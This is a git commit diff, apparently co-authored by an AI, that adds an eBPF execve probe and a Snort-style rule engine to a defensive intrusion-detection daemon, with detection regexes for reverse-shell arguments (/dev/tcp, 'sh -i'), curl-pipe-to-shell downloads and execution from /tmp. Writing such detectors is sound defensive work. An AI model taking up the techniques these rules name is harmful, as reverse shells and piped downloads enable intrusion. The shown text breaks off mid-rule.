Add event-driven eBPF execve layer with a Snort-style rule engine
Closes polling's blind spot (processes that exit between sweeps) with a real
eBPF probe and a declarative, data-driven detection engine — inspired by Snort
(rule language, signature IDs) and OSSEC (host-IDS framing).
New events/ subpackage:
- bcc_source.py : eBPF C tracing execve (filename, argv[1..2], ppid, uid,
parent comm) over a perf buffer, loaded via bcc; lazy import
+ available()/try-except so it fails closed to poll-only when
bcc/root/BTF are absent — a broken probe never downs the daemon
- exec_event.py : the ExecEvent type
- rules.py : ExecRule (sid/msg/severity/classtype + path/exec/parent/argv
conditions) and ExecRuleEngine; 4 shipped rules (fileless exec
100001, reverse-shell argv 100002, web/DB→shell RCE 100003,
curl|sh 100004); operators add more via exec_rules_file TOML
- monitor.py : runs the source on a thread, routes events through the engine
Integration:
- daemon starts the monitor, shares a lock-guarded cooldown with the sweep
loop, and feeds event alerts into the same snapshot pipeline
- Alert gains Snort-style sid + classtype; retrofitted onto all 7 poll
detectors; snapshots and JSON now carry them
- config: ebpf_exec_monitor (default on, degrades), exec_rules_file
- systemd: opt-in ebpf.conf drop-in (relaxes MemoryDenyWriteExecute + widens
caps for bcc's JIT) so the base unit stays hardened for poll-only
- sentinel-redteam: ebpf_exec drill (short-lived /tmp exec + /dev/tcp argv the
poller can't see); footer now uses the Python CLI
Tests: +14 cases for the rule engine (each default rule match/non-match, rule
validation, parent-exclude). 39/39 pass. Graceful non-root degradation verified.
NOTE: the eBPF C follows bcc's execsnoop pattern but could not be run here
(BPF needs root); it wants a root smoke-test on a real host.
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
This commit is contained in:
Luna
parent
586f74b929
commit
0eb5077551
24 changed files with 734 additions and 38 deletions
98
README.md
98
README.md
|
|
@ -32,6 +32,35 @@ EDRs are built on:
|
|||
| `persistence` | Changes to cron, systemd units, `authorized_keys`, rc files | Persistence has to write somewhere that survives reboot |
|
||||
| `egress` | An interpreter with an established connection to a public IP | C2 beacons and exfil have to phone home |
|
||||
|
||||
Every detection carries a stable **`sid`** and a **`classtype`** (à la
|
||||
Snort/Suricata), so it can be referenced, tuned, and tracked across revisions.
|
||||
|
||||
## Event-driven detection (eBPF + a Snort-style rule engine)
|
||||
|
||||
Polling has a blind spot: a process that runs and exits between two sweeps is
|
||||
invisible to it. The event layer closes that gap. An eBPF probe (loaded with
|
||||
`bcc`) fires on every `execve` and hands each event to a **declarative rule
|
||||
engine** — the host-event analogue of Snort matching packets:
|
||||
|
||||
```toml
|
||||
# a rule is data, not code — sid, msg, classtype, severity + conditions
|
||||
sid = 100002
|
||||
msg = "Reverse-shell command pattern in execve arguments"
|
||||
severity = "CRITICAL"
|
||||
classtype = "c2-reverse-shell"
|
||||
argv_regex = "/dev/(tcp|udp)/| -i\\b| -e\\b| pty\\.spawn"
|
||||
```
|
||||
|
||||
Shipped rules cover fileless execution from world-writable dirs (`sid 100001`),
|
||||
reverse-shell argv patterns (`100002`), web/DB services spawning a shell —
|
||||
webshell/RCE (`100003`), and `curl|sh`-style ingress tool transfer (`100004`).
|
||||
Operators add their own via `exec_rules_file` without touching code.
|
||||
|
||||
The layer is **fail-safe**: if `bcc`/root/BTF aren't available it logs the
|
||||
reason and the daemon runs poll-only — a broken probe can never take detection
|
||||
down. Lineage: the rule-driven engine + SIDs come from **Snort**; the host-IDS
|
||||
framing (and the queued FIM / hidden-process checks) from **OSSEC**.
|
||||
|
||||
## Architecture
|
||||
|
||||
```
|
||||
|
|
@ -42,11 +71,22 @@ enodia_sentinel/
|
|||
├── snapshot.py forensic text+JSON capture · response guidance · retention
|
||||
├── config.py dataclass config (TOML + env overrides)
|
||||
├── netutil.py public-IP / CIDR logic (stdlib ipaddress)
|
||||
├── alert.py Alert / Severity
|
||||
└── detectors/ one module per signature, each a pure function:
|
||||
detect(state, cfg) -> Iterable[Alert]
|
||||
├── alert.py Alert / Severity (with Snort-style sid + classtype)
|
||||
├── detectors/ poll detectors — one module per signature, each a pure
|
||||
│ function: detect(state, cfg) -> Iterable[Alert]
|
||||
└── events/ event-driven layer (eBPF)
|
||||
├── bcc_source.py real eBPF execve probe loaded via bcc
|
||||
├── exec_event.py the ExecEvent type
|
||||
├── rules.py Snort-style ExecRule engine + default rules
|
||||
└── monitor.py runs the probe on a thread, routes events → rules
|
||||
```
|
||||
|
||||
Two complementary detection paths feed one Alert → snapshot pipeline:
|
||||
|
||||
- **Poll** — every few seconds, sweep `/proc`/`ss` (catches anything lingering).
|
||||
- **Event** — eBPF fires on every `execve`, matched against the rule engine
|
||||
(catches processes that exit *between* sweeps).
|
||||
|
||||
The loop is deliberately the same control flow as the bash prototype, but the
|
||||
state lives in real objects:
|
||||
|
||||
|
|
@ -161,28 +201,48 @@ writable path, `ProtectHome=read-only`, `NoNewPrivileges`,
|
|||
(`CAP_SYS_PTRACE`, `CAP_DAC_READ_SEARCH`). It only ever **reads** the system and
|
||||
**writes** to its own log directory.
|
||||
|
||||
## Roadmap — from polling to eBPF
|
||||
## Enabling the eBPF monitor
|
||||
|
||||
This is **poll-based**: it sweeps `/proc` and `ss` every few seconds. Robust,
|
||||
dependency-light, and catches anything that lingers — but it can miss sub-second
|
||||
processes. The planned evolution:
|
||||
The event layer needs `python-bpfcc` and privileges the hardened unit
|
||||
deliberately withholds (bcc JIT-compiles its programs, so it needs write+exec
|
||||
memory and `CAP_BPF`/`CAP_PERFMON`/`CAP_SYS_ADMIN`). Under the default unit the
|
||||
monitor simply fails closed and the daemon runs poll-only. To turn it on:
|
||||
|
||||
1. **bpftrace tracepoints (now, optional)** — `capture_execve_bpftrace = true`
|
||||
adds a live `execve` trace to each snapshot. The gentle on-ramp to kernel
|
||||
tracing.
|
||||
2. **Event-driven detection** — `bpftrace`/BCC probes on `sys_enter_execve`,
|
||||
`security_bprm_check`, and `tcp_connect`, streamed to the daemon so a
|
||||
short-lived reverse shell can't slip between sweeps.
|
||||
3. **A libbpf + CO-RE agent (Go or Rust userland)** — the production EDR core:
|
||||
LSM hooks, ring-buffer event streaming, per-process lineage, tamper
|
||||
resistance.
|
||||
```bash
|
||||
sudo pacman -S python-bpfcc
|
||||
sudo install -Dm644 systemd/enodia-sentinel-ebpf.conf \
|
||||
/etc/systemd/system/enodia-sentinel.service.d/ebpf.conf
|
||||
sudo systemctl daemon-reload && sudo systemctl restart enodia-sentinel
|
||||
# confirm: grep 'eBPF exec monitor' /var/log/enodia-sentinel/events.log
|
||||
```
|
||||
|
||||
The polling daemon isn't throwaway — it's the **oracle**: every signature here
|
||||
is a test case the eBPF agent must reproduce, and `sentinel-redteam` is the
|
||||
shared regression suite.
|
||||
The drop-in relaxes `MemoryDenyWriteExecute` and widens the capability set — a
|
||||
conscious tradeoff documented in the file itself.
|
||||
|
||||
## Roadmap
|
||||
|
||||
1. **bpftrace tracepoints (optional)** — `capture_execve_bpftrace = true` adds a
|
||||
live `execve` trace to each snapshot.
|
||||
2. ✅ **Event-driven `execve` detection (done)** — a real eBPF probe via bcc,
|
||||
feeding a Snort-style rule engine, so a short-lived process can't slip
|
||||
between sweeps.
|
||||
3. **More event sources** — `tcp_connect` (event-driven egress) and
|
||||
`security_bprm_check` (LSM) probes, plus per-process lineage tracking.
|
||||
4. **A libbpf + CO-RE agent (Go or Rust)** — the production EDR core: ring-buffer
|
||||
event streaming, tamper resistance, no runtime compiler.
|
||||
|
||||
The polling daemon isn't throwaway — it's the **oracle**: every signature is a
|
||||
test case the event layer must reproduce, and `sentinel-redteam` is the shared
|
||||
regression suite for both.
|
||||
|
||||
## Project status
|
||||
|
||||
v0.3 — adds the event-driven **eBPF layer**: a real `bcc` execve probe feeding a
|
||||
Snort-style declarative rule engine (4 default rules), stable signature IDs +
|
||||
classtypes on every detection, fail-safe degradation to poll-only, and an
|
||||
opt-in hardening drop-in. Inspired by Snort (rule engine, SIDs) and OSSEC (HIDS
|
||||
framing; FIM + hidden-process checks are next).
|
||||
|
||||
v0.2 — Python re-architecture of the bash prototype: 7 detectors, text+JSON
|
||||
forensic snapshots, backgrounded SUID scanning, 25-test unit suite, red-team
|
||||
harness, hardened systemd unit, Arch packaging. Zero runtime dependencies.
|
||||
|
|
|
|||
|
|
@ -47,7 +47,15 @@ watch_persistence = [
|
|||
"/root/.ssh/authorized_keys", "/root/.bashrc", "/root/.profile",
|
||||
]
|
||||
|
||||
# --- eBPF on-ramp --------------------------------------------------------
|
||||
# --- eBPF event layer ----------------------------------------------------
|
||||
# Event-driven execve monitor: catches short-lived processes the poll loop
|
||||
# misses, matched against the Snort-style rule engine. Requires python-bpfcc
|
||||
# and root; degrades gracefully to polling otherwise.
|
||||
ebpf_exec_monitor = true
|
||||
# Optional path to a TOML file of extra [[exec_rules]] (sid/msg/severity/
|
||||
# classtype + path_prefixes/exec_comm/parent_comm/argv_regex).
|
||||
exec_rules_file = ""
|
||||
|
||||
# Add a 3s bpftrace execve trace to each snapshot (requires the bpftrace pkg).
|
||||
capture_execve_bpftrace = false
|
||||
|
||||
|
|
|
|||
|
|
@ -6,4 +6,4 @@ captures a forensic snapshot with incident-response guidance whenever a known
|
|||
attack signature appears. The Python re-architecture of the bash v0 prototype.
|
||||
"""
|
||||
|
||||
__version__ = "0.2.0"
|
||||
__version__ = "0.3.0"
|
||||
|
|
|
|||
|
|
@ -29,11 +29,18 @@ class Alert:
|
|||
key: str
|
||||
detail: str
|
||||
pids: tuple[int, ...] = field(default_factory=tuple)
|
||||
# Snort-style metadata: a stable signature id and a category. Every
|
||||
# detection in Enodia has an `sid` so it can be referenced, tuned, and
|
||||
# tracked across revisions the way a Snort/Suricata rule is.
|
||||
sid: int = 0
|
||||
classtype: str = "uncategorized"
|
||||
|
||||
def to_dict(self) -> dict:
|
||||
return {
|
||||
"sid": self.sid,
|
||||
"severity": str(self.severity),
|
||||
"signature": self.signature,
|
||||
"classtype": self.classtype,
|
||||
"key": self.key,
|
||||
"detail": self.detail,
|
||||
"pids": list(self.pids),
|
||||
|
|
|
|||
|
|
@ -58,6 +58,10 @@ class Config:
|
|||
|
||||
# eBPF on-ramp
|
||||
capture_execve_bpftrace: bool = False
|
||||
# Event-driven eBPF execve monitor (catches short-lived processes the poll
|
||||
# loop misses). Degrades gracefully to polling if bcc/root/BTF unavailable.
|
||||
ebpf_exec_monitor: bool = True
|
||||
exec_rules_file: str = "" # optional extra Snort-style rules (TOML)
|
||||
|
||||
# retention
|
||||
max_snapshots: int = 300
|
||||
|
|
|
|||
|
|
@ -23,6 +23,10 @@ class Sentinel:
|
|||
self.cfg = cfg
|
||||
self.start_time = time.time()
|
||||
self.cooldowns: dict[str, float] = {}
|
||||
# Cooldowns are touched by both the sweep loop and the eBPF event
|
||||
# thread, so guard them.
|
||||
self._cooldown_lock = threading.Lock()
|
||||
self._exec_monitor = None
|
||||
self.last_persist_scan = self.start_time
|
||||
self.listener_baseline: set[str] = set()
|
||||
self.suid_baseline: set[str] = set()
|
||||
|
|
@ -99,15 +103,24 @@ class Sentinel:
|
|||
return alerts
|
||||
|
||||
def fresh_alerts(self, alerts: list[Alert], now: float) -> list[Alert]:
|
||||
"""Drop alerts whose dedup key is still within cooldown."""
|
||||
"""Drop alerts whose dedup key is still within cooldown (thread-safe)."""
|
||||
out = []
|
||||
for a in alerts:
|
||||
prev = self.cooldowns.get(a.key, 0.0)
|
||||
if (now - prev) >= self.cfg.cooldown:
|
||||
self.cooldowns[a.key] = now
|
||||
out.append(a)
|
||||
with self._cooldown_lock:
|
||||
for a in alerts:
|
||||
prev = self.cooldowns.get(a.key, 0.0)
|
||||
if (now - prev) >= self.cfg.cooldown:
|
||||
self.cooldowns[a.key] = now
|
||||
out.append(a)
|
||||
return out
|
||||
|
||||
def _on_exec_alert(self, alert: Alert) -> None:
|
||||
"""Callback for the eBPF exec monitor — same dedup + capture path."""
|
||||
fresh = self.fresh_alerts([alert], time.time())
|
||||
if fresh:
|
||||
threading.Thread(
|
||||
target=self._capture, args=(fresh,), daemon=True
|
||||
).start()
|
||||
|
||||
# -- main loop ---------------------------------------------------------
|
||||
def run(self) -> None:
|
||||
self.cfg.log_dir.mkdir(parents=True, exist_ok=True)
|
||||
|
|
@ -115,6 +128,7 @@ class Sentinel:
|
|||
fh.write(f"{time.strftime('%FT%T%z')} enodia-sentinel started\n")
|
||||
self.build_baselines()
|
||||
snapshot.prune(self.cfg)
|
||||
self._start_exec_monitor()
|
||||
sweeps = 0
|
||||
while not self._stop.is_set():
|
||||
now = time.time()
|
||||
|
|
@ -134,6 +148,18 @@ class Sentinel:
|
|||
snapshot.prune(self.cfg)
|
||||
self._stop.wait(self.cfg.sample_interval)
|
||||
|
||||
def _start_exec_monitor(self) -> None:
|
||||
if not self.cfg.ebpf_exec_monitor:
|
||||
return
|
||||
from .events.monitor import ExecMonitor
|
||||
self._exec_monitor = ExecMonitor(self.cfg, self._on_exec_alert)
|
||||
ok, reason = self._exec_monitor.start()
|
||||
with open(self.cfg.events_log, "a") as fh:
|
||||
status = "enabled" if ok else f"disabled ({reason})"
|
||||
fh.write(f"{time.strftime('%FT%T%z')} eBPF exec monitor: {status}\n")
|
||||
if not ok:
|
||||
self._exec_monitor = None
|
||||
|
||||
def _capture(self, alerts: list[Alert]) -> None:
|
||||
try:
|
||||
snapshot.capture(alerts, SystemState(), self.cfg)
|
||||
|
|
@ -143,3 +169,5 @@ class Sentinel:
|
|||
|
||||
def stop(self, *_a) -> None:
|
||||
self._stop.set()
|
||||
if self._exec_monitor is not None:
|
||||
self._exec_monitor.stop()
|
||||
|
|
|
|||
|
|
@ -37,4 +37,6 @@ def detect(state: SystemState, cfg: Config) -> Iterator[Alert]:
|
|||
key=f"del:{proc.pid}",
|
||||
detail=f"pid={proc.pid} comm={proc.comm} exe=[{exe}]",
|
||||
pids=(proc.pid,),
|
||||
sid=100012,
|
||||
classtype="fileless-execution",
|
||||
)
|
||||
|
|
|
|||
|
|
@ -33,4 +33,6 @@ def detect(state: SystemState, cfg: Config) -> Iterator[Alert]:
|
|||
"(interpreter to public IP)"
|
||||
),
|
||||
pids=(s.pid,) if s.pid else (),
|
||||
sid=100016,
|
||||
classtype="c2-exfil",
|
||||
)
|
||||
|
|
|
|||
|
|
@ -31,6 +31,8 @@ def detect(state: SystemState, cfg: Config) -> Iterator[Alert]:
|
|||
signature="ld_preload",
|
||||
key="ldp:global",
|
||||
detail=f"/etc/ld.so.preload is non-empty: [{contents.replace(chr(10), ' ')}]",
|
||||
sid=100011,
|
||||
classtype="rootkit-preload",
|
||||
)
|
||||
|
||||
for proc in state.processes:
|
||||
|
|
@ -44,4 +46,6 @@ def detect(state: SystemState, cfg: Config) -> Iterator[Alert]:
|
|||
key=f"ldp:{proc.pid}",
|
||||
detail=f"pid={proc.pid} comm={proc.comm} LD_PRELOAD=[{pre}]",
|
||||
pids=(proc.pid,),
|
||||
sid=100011,
|
||||
classtype="rootkit-preload",
|
||||
)
|
||||
|
|
|
|||
|
|
@ -31,4 +31,6 @@ def detect(state: SystemState, cfg: Config) -> Iterator[Alert]:
|
|||
key=f"lis:{key}",
|
||||
detail=f"new listening socket {s.local} by comm={comm}",
|
||||
pids=(s.pid,) if s.pid else (),
|
||||
sid=100013,
|
||||
classtype="backdoor-listener",
|
||||
)
|
||||
|
|
|
|||
|
|
@ -33,4 +33,6 @@ def detect(state: SystemState, cfg: Config) -> Iterator[Alert]:
|
|||
("SUID/SGID binary in writable dir: " if hot
|
||||
else "new SUID/SGID binary: ") + path
|
||||
),
|
||||
sid=100014,
|
||||
classtype="privilege-escalation",
|
||||
)
|
||||
|
|
|
|||
|
|
@ -40,4 +40,6 @@ def detect(state: SystemState, cfg: Config) -> Iterator[Alert]:
|
|||
signature="persistence",
|
||||
key=f"persist:{path}",
|
||||
detail=f"persistence file modified: {path}",
|
||||
sid=100015,
|
||||
classtype="persistence",
|
||||
)
|
||||
|
|
|
|||
|
|
@ -35,4 +35,6 @@ def detect(state: SystemState, cfg: Config) -> Iterator[Alert]:
|
|||
f"peer=[{peer}] cmd=[{proc.cmdline[:90]}]"
|
||||
),
|
||||
pids=(proc.pid,),
|
||||
sid=100010,
|
||||
classtype="c2-reverse-shell",
|
||||
)
|
||||
|
|
|
|||
9
enodia_sentinel/events/__init__.py
Normal file
9
enodia_sentinel/events/__init__.py
Normal file
|
|
@ -0,0 +1,9 @@
|
|||
# SPDX-License-Identifier: GPL-3.0-or-later
|
||||
"""Event-driven detection layer.
|
||||
|
||||
Where the poll-based detectors sweep system state every few seconds, this layer
|
||||
reacts to kernel events the instant they happen — so a process that executes and
|
||||
exits between two sweeps (fileless droppers, short-lived reverse shells) is still
|
||||
caught. Events come from eBPF (``bcc``) and are matched against a declarative,
|
||||
Snort-style rule set.
|
||||
"""
|
||||
139
enodia_sentinel/events/bcc_source.py
Normal file
139
enodia_sentinel/events/bcc_source.py
Normal file
|
|
@ -0,0 +1,139 @@
|
|||
# SPDX-License-Identifier: GPL-3.0-or-later
|
||||
"""eBPF execve event source, built on bcc.
|
||||
|
||||
Loads a small eBPF program that fires on every ``execve``, capturing the
|
||||
executed path, the first couple of arguments, the uid, and the parent. Events
|
||||
are delivered to user space over a perf buffer and decoded into ``ExecEvent``.
|
||||
|
||||
This is intentionally fail-safe: if bcc isn't installed, the kernel lacks BPF,
|
||||
or we aren't root, ``available()`` returns False and the daemon simply runs with
|
||||
its poll-based detectors. A broken probe must never take the daemon down.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
from collections.abc import Callable
|
||||
|
||||
from .exec_event import ExecEvent
|
||||
|
||||
# eBPF C. bcc rewrites pointer dereferences (e.g. task->real_parent->tgid) into
|
||||
# bpf_probe_read calls, so this stays close to bcc's own execsnoop example.
|
||||
_BPF_PROGRAM = r"""
|
||||
#include <uapi/linux/ptrace.h>
|
||||
#include <linux/sched.h>
|
||||
|
||||
#define ARGLEN 160
|
||||
|
||||
struct data_t {
|
||||
u32 pid;
|
||||
u32 ppid;
|
||||
u32 uid;
|
||||
char parent_comm[TASK_COMM_LEN];
|
||||
char filename[ARGLEN];
|
||||
char arg1[ARGLEN];
|
||||
char arg2[ARGLEN];
|
||||
};
|
||||
BPF_PERF_OUTPUT(events);
|
||||
|
||||
int syscall__execve(struct pt_regs *ctx,
|
||||
const char __user *filename,
|
||||
const char __user *const __user *__argv,
|
||||
const char __user *const __user *__envp)
|
||||
{
|
||||
struct data_t data = {};
|
||||
struct task_struct *task = (struct task_struct *)bpf_get_current_task();
|
||||
|
||||
data.pid = bpf_get_current_pid_tgid() >> 32;
|
||||
data.ppid = task->real_parent->tgid;
|
||||
data.uid = bpf_get_current_uid_gid() & 0xffffffff;
|
||||
bpf_get_current_comm(&data.parent_comm, sizeof(data.parent_comm));
|
||||
bpf_probe_read_user_str(&data.filename, sizeof(data.filename), filename);
|
||||
|
||||
const char __user *argp = NULL;
|
||||
bpf_probe_read_user(&argp, sizeof(argp), &__argv[1]);
|
||||
if (argp)
|
||||
bpf_probe_read_user_str(&data.arg1, sizeof(data.arg1), argp);
|
||||
argp = NULL;
|
||||
bpf_probe_read_user(&argp, sizeof(argp), &__argv[2]);
|
||||
if (argp)
|
||||
bpf_probe_read_user_str(&data.arg2, sizeof(data.arg2), argp);
|
||||
|
||||
events.perf_submit(ctx, &data, sizeof(data));
|
||||
return 0;
|
||||
}
|
||||
"""
|
||||
|
||||
|
||||
def available() -> tuple[bool, str]:
|
||||
"""Return (ok, reason). ok=True means the probe can be loaded."""
|
||||
if os.geteuid() != 0:
|
||||
return False, "not running as root (BPF requires CAP_BPF/root)"
|
||||
try:
|
||||
import bcc # noqa: F401
|
||||
except ImportError:
|
||||
return False, "python bcc (python-bpfcc) not installed"
|
||||
if not os.path.exists("/sys/kernel/btf/vmlinux") and not os.path.isdir(
|
||||
"/lib/modules/%s/build" % os.uname().release
|
||||
):
|
||||
return False, "no kernel BTF or headers for BPF compilation"
|
||||
return True, "ok"
|
||||
|
||||
|
||||
class BccExecSource:
|
||||
"""Loads the eBPF probe and pumps decoded ExecEvents to a callback."""
|
||||
|
||||
def __init__(self, on_event: Callable[[ExecEvent], None]) -> None:
|
||||
self._on_event = on_event
|
||||
self._bpf = None
|
||||
self._running = False
|
||||
|
||||
def start(self) -> None:
|
||||
from bcc import BPF
|
||||
|
||||
self._bpf = BPF(text=_BPF_PROGRAM)
|
||||
fnname = self._bpf.get_syscall_fnname("execve")
|
||||
self._bpf.attach_kprobe(event=fnname, fn_name="syscall__execve")
|
||||
self._bpf["events"].open_perf_buffer(self._handle, page_cnt=64)
|
||||
self._running = True
|
||||
|
||||
def poll(self, timeout_ms: int = 200) -> None:
|
||||
if self._bpf is not None:
|
||||
self._bpf.perf_buffer_poll(timeout=timeout_ms)
|
||||
|
||||
def stop(self) -> None:
|
||||
self._running = False
|
||||
if self._bpf is not None:
|
||||
try:
|
||||
self._bpf.cleanup()
|
||||
except Exception:
|
||||
pass
|
||||
self._bpf = None
|
||||
|
||||
@property
|
||||
def running(self) -> bool:
|
||||
return self._running
|
||||
|
||||
def _handle(self, cpu, data, size) -> None:
|
||||
event = self._bpf["events"].event(data)
|
||||
argv = tuple(
|
||||
a for a in (_decode(event.arg1), _decode(event.arg2)) if a
|
||||
)
|
||||
ev = ExecEvent(
|
||||
pid=event.pid,
|
||||
ppid=event.ppid,
|
||||
uid=event.uid,
|
||||
parent_comm=_decode(event.parent_comm),
|
||||
filename=_decode(event.filename),
|
||||
argv=argv,
|
||||
)
|
||||
try:
|
||||
self._on_event(ev)
|
||||
except Exception:
|
||||
# one bad event must not kill the poll loop
|
||||
pass
|
||||
|
||||
|
||||
def _decode(raw) -> str:
|
||||
if isinstance(raw, bytes):
|
||||
return raw.split(b"\x00", 1)[0].decode("utf-8", "replace")
|
||||
return str(raw)
|
||||
43
enodia_sentinel/events/exec_event.py
Normal file
43
enodia_sentinel/events/exec_event.py
Normal file
|
|
@ -0,0 +1,43 @@
|
|||
# SPDX-License-Identifier: GPL-3.0-or-later
|
||||
"""The execve event — one process-execution observed by the kernel probe."""
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
from dataclasses import dataclass, field
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class ExecEvent:
|
||||
"""A single ``execve``, as seen at the moment of execution.
|
||||
|
||||
Captured by the eBPF probe (so it exists even for processes that exit before
|
||||
a poll). ``parent_comm`` is the caller; ``filename`` is the program being
|
||||
executed; ``argv`` is as much of the argument vector as the probe captured.
|
||||
"""
|
||||
|
||||
pid: int
|
||||
ppid: int
|
||||
uid: int
|
||||
parent_comm: str
|
||||
filename: str
|
||||
argv: tuple[str, ...] = field(default_factory=tuple)
|
||||
|
||||
@property
|
||||
def exec_comm(self) -> str:
|
||||
"""Basename of the executed program (its post-exec ``comm``)."""
|
||||
return os.path.basename(self.filename)
|
||||
|
||||
@property
|
||||
def argv_str(self) -> str:
|
||||
"""Full command line for regex matching (filename + captured args)."""
|
||||
return " ".join((self.filename, *self.argv)).strip()
|
||||
|
||||
def to_dict(self) -> dict:
|
||||
return {
|
||||
"pid": self.pid,
|
||||
"ppid": self.ppid,
|
||||
"uid": self.uid,
|
||||
"parent_comm": self.parent_comm,
|
||||
"filename": self.filename,
|
||||
"argv": list(self.argv),
|
||||
}
|
||||
55
enodia_sentinel/events/monitor.py
Normal file
55
enodia_sentinel/events/monitor.py
Normal file
|
|
@ -0,0 +1,55 @@
|
|||
# SPDX-License-Identifier: GPL-3.0-or-later
|
||||
"""Runs the eBPF exec source on a thread and routes events through the engine."""
|
||||
from __future__ import annotations
|
||||
|
||||
import threading
|
||||
from collections.abc import Callable
|
||||
|
||||
from ..alert import Alert
|
||||
from ..config import Config
|
||||
from . import bcc_source
|
||||
from .exec_event import ExecEvent
|
||||
from .rules import ExecRuleEngine
|
||||
|
||||
|
||||
class ExecMonitor:
|
||||
"""Owns the event source + rule engine; emits Alerts via ``on_alert``.
|
||||
|
||||
``start()`` is best-effort: it returns a (started, reason) pair and never
|
||||
raises, so the daemon can log the reason and carry on with polling.
|
||||
"""
|
||||
|
||||
def __init__(self, cfg: Config, on_alert: Callable[[Alert], None]) -> None:
|
||||
self.cfg = cfg
|
||||
self._on_alert = on_alert
|
||||
self.engine = ExecRuleEngine.load(cfg.exec_rules_file)
|
||||
self._source = bcc_source.BccExecSource(self._on_event)
|
||||
self._thread: threading.Thread | None = None
|
||||
self._stop = threading.Event()
|
||||
|
||||
def start(self) -> tuple[bool, str]:
|
||||
ok, reason = bcc_source.available()
|
||||
if not ok:
|
||||
return False, reason
|
||||
try:
|
||||
self._source.start()
|
||||
except Exception as exc: # compilation/attach/permission failure
|
||||
return False, f"probe load failed: {exc!r}"
|
||||
self._thread = threading.Thread(target=self._run, daemon=True)
|
||||
self._thread.start()
|
||||
return True, "ok"
|
||||
|
||||
def _run(self) -> None:
|
||||
while not self._stop.is_set():
|
||||
try:
|
||||
self._source.poll(timeout_ms=200)
|
||||
except Exception:
|
||||
break
|
||||
|
||||
def _on_event(self, ev: ExecEvent) -> None:
|
||||
for alert in self.engine.match(ev):
|
||||
self._on_alert(alert)
|
||||
|
||||
def stop(self) -> None:
|
||||
self._stop.set()
|
||||
self._source.stop()
|
||||
177
enodia_sentinel/events/rules.py
Normal file
177
enodia_sentinel/events/rules.py
Normal file
|
|
@ -0,0 +1,177 @@
|
|||
# SPDX-License-Identifier: GPL-3.0-or-later
|
||||
"""A declarative, Snort-style rule engine for execve events.
|
||||
|
||||
Detection logic lives in *data*, not code. Each ``ExecRule`` is the host-event
|
||||
analogue of a Snort rule: a stable ``sid``, a human ``msg``, a ``classtype`` and
|
||||
``severity``, plus match conditions on the executed path, the program, the
|
||||
parent process, and the argument vector. The engine just walks the rules.
|
||||
|
||||
A rule fires when **every condition it specifies** matches (AND); unspecified
|
||||
conditions are wildcards. A rule with no conditions is rejected at load time so
|
||||
it can't match everything by accident.
|
||||
|
||||
Default rules ship below; operators can add more via a TOML file
|
||||
(``[[exec_rules]]`` tables) referenced by ``exec_rules_file`` in the config.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import re
|
||||
import tomllib
|
||||
from collections.abc import Iterable, Iterator
|
||||
from dataclasses import dataclass, field
|
||||
from pathlib import Path
|
||||
|
||||
from ..alert import Alert, Severity
|
||||
from .exec_event import ExecEvent
|
||||
|
||||
_SEVERITY = {
|
||||
"MEDIUM": Severity.MEDIUM,
|
||||
"HIGH": Severity.HIGH,
|
||||
"CRITICAL": Severity.CRITICAL,
|
||||
}
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class ExecRule:
|
||||
sid: int
|
||||
msg: str
|
||||
severity: Severity
|
||||
classtype: str
|
||||
# Conditions (all that are set must match):
|
||||
path_prefixes: tuple[str, ...] = () # filename startswith any
|
||||
exec_comm: frozenset[str] = frozenset() # basename(filename) in set
|
||||
parent_comm: frozenset[str] = frozenset() # caller comm in set
|
||||
argv_regex: str | None = None # re.search over argv_str
|
||||
parent_exclude: frozenset[str] = frozenset() # never fire for these parents
|
||||
|
||||
def __post_init__(self) -> None:
|
||||
if not any((self.path_prefixes, self.exec_comm,
|
||||
self.parent_comm, self.argv_regex)):
|
||||
raise ValueError(f"rule sid={self.sid} has no match conditions")
|
||||
if self.argv_regex is not None:
|
||||
# compile once; store on the frozen instance via object.__setattr__
|
||||
object.__setattr__(self, "_argv_re", re.compile(self.argv_regex,
|
||||
re.IGNORECASE))
|
||||
else:
|
||||
object.__setattr__(self, "_argv_re", None)
|
||||
|
||||
def matches(self, ev: ExecEvent) -> bool:
|
||||
if ev.parent_comm in self.parent_exclude:
|
||||
return False
|
||||
if self.path_prefixes and not ev.filename.startswith(self.path_prefixes):
|
||||
return False
|
||||
if self.exec_comm and ev.exec_comm not in self.exec_comm:
|
||||
return False
|
||||
if self.parent_comm and ev.parent_comm not in self.parent_comm:
|
||||
return False
|
||||
if self._argv_re is not None and not self._argv_re.search(ev.argv_str):
|
||||
return False
|
||||
return True
|
||||
|
||||
def to_alert(self, ev: ExecEvent) -> Alert:
|
||||
return Alert(
|
||||
severity=self.severity,
|
||||
signature=f"exec_rule.{self.classtype}",
|
||||
key=f"exec:{self.sid}:{ev.pid}",
|
||||
detail=(
|
||||
f"sid={self.sid} {self.msg} — pid={ev.pid} ppid={ev.ppid} "
|
||||
f"parent={ev.parent_comm} exec={ev.filename} "
|
||||
f"argv=[{ev.argv_str[:120]}]"
|
||||
),
|
||||
pids=(ev.pid,),
|
||||
sid=self.sid,
|
||||
classtype=self.classtype,
|
||||
)
|
||||
|
||||
|
||||
# --- shipped default rules -------------------------------------------------
|
||||
# SIDs 100001–100999 are reserved for Enodia's built-in exec rules.
|
||||
|
||||
_INTERP = frozenset(
|
||||
"sh bash dash zsh ksh ash python python2 python3 perl ruby php lua "
|
||||
"nc ncat netcat socat".split()
|
||||
)
|
||||
_WEB_DB_SERVERS = frozenset(
|
||||
"nginx apache apache2 httpd php-fpm php php7 php8 lighttpd caddy "
|
||||
"node nodejs tomcat catalina mysqld mariadbd postgres redis-server".split()
|
||||
)
|
||||
|
||||
DEFAULT_EXEC_RULES: tuple[ExecRule, ...] = (
|
||||
ExecRule(
|
||||
sid=100001,
|
||||
msg="Program executed from a world-writable directory",
|
||||
severity=Severity.CRITICAL,
|
||||
classtype="fileless-execution",
|
||||
path_prefixes=("/tmp/", "/dev/shm/", "/var/tmp/"),
|
||||
),
|
||||
ExecRule(
|
||||
sid=100002,
|
||||
msg="Reverse-shell command pattern in execve arguments",
|
||||
severity=Severity.CRITICAL,
|
||||
classtype="c2-reverse-shell",
|
||||
argv_regex=(
|
||||
r"/dev/(tcp|udp)/"
|
||||
r"|\b(ba|da|z)?sh\b[^|]*\s-i\b"
|
||||
